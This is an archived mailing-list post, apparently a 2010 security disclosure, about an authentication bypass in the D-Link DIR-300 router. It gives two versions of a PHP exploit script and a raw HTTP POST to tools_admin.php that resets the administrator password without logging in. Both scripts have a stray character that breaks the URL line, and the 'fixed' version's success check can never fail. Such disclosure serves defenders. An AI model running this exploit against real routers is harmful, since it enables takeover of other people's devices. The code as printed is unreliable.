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Re: D-Link DIR-300 authentication bypass
From: Karol Celiński <karol () celin pl>
Date: Tue, 9 Nov 2010 18:28:01 +0100

On some versions of the firmware, exploit says that "something goes
wrong" despite of password change is successfull. There is a fixed
version:

---cut here---
<?php
if(sizeof($argv)!=4) {
   echo "Usage: php5 $argv[0] <router ip addres> <port>
   <admin password>\n";
   exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
   echo "- Error: could not connect (
   http://$argv[1]:$argv[2]/tools_admin.php).\n";
   exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"login.php")===true) {
   echo "- something goes wrong (check answer - answer.html) !\n";
   $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
   exit;
}
else
   echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
---cut here---

W dniu 9 listopada 2010 10:05 użytkownik Karol Celiński
<karol () celin pl> napisał:
[intro]
Hello, I found security bug in D-Link DIR-300 wireless router. It can
be used to bypass authentication mechanizm by attacker with access to
web interface. I reported it to D-Link but they are not replying for
my emails. According to other D-Link security holes and their status I
think that they won't reply, so I decided to write about it here.

[Technical details]

Control panel script - tools_admin.php allows attacker to change
administrator name, password and other variables without any
authorization by sending specially crafted http post request such as:

---cut here---
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0

ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
---cut here---

If attacker makes this request to the control panel, the
administrator username is set to admin with password ,,uhOHahEh".

[Affected]

- All known D-Link DIR-300 firmware (ie. 2.01B1, 1.04, 1.05).
- There is possibility that other dlink devices which use the same php
scripts in control panel are affected. I'm not able to check it
because I don't have devices for tests. I'm counting on you ;->

[Code]

---cut here---
<?php
       if(sizeof($argv)!=4) {
               echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
               exit;
       }
       $ch=curl_init();
       curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
       curl_setopt($ch, CURLOPT_PORT, $argv[2]);
       curl_setopt($ch, CURLOPT_POST, 1);
       curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
       echo "+ starting request\n";
       $out = curl_exec($ch);
       if($out===false) {
               echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
               exit;
       } else
               echo "+ request sended\n";
       curl_close($ch);
       if(stripos($out,"Successfully")===false) {
               echo "- something goes wrong (check answer - answer.html) !\n";
               $f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
               exit;
       }
       else
               echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
---cut here---

[History]

 - Information sent to vendor 07.08.2010
 - No response
 - Information resended to vendor 07.31.2010
 - No response from vendor


[Credits]
Karol Celiński ( Celin )
Pentester/Researcher @ Safe Computing

[Contact]

karol at celin dot pl

[Greetz]
Tomasz Sawiak, Jacek Kowalski, Marcin Kozlowski, Robert Tomczykowski,
Wojtek Machaj, Marek Zmyslowski, Szymon Sobczyk and all Safe Computing
members.



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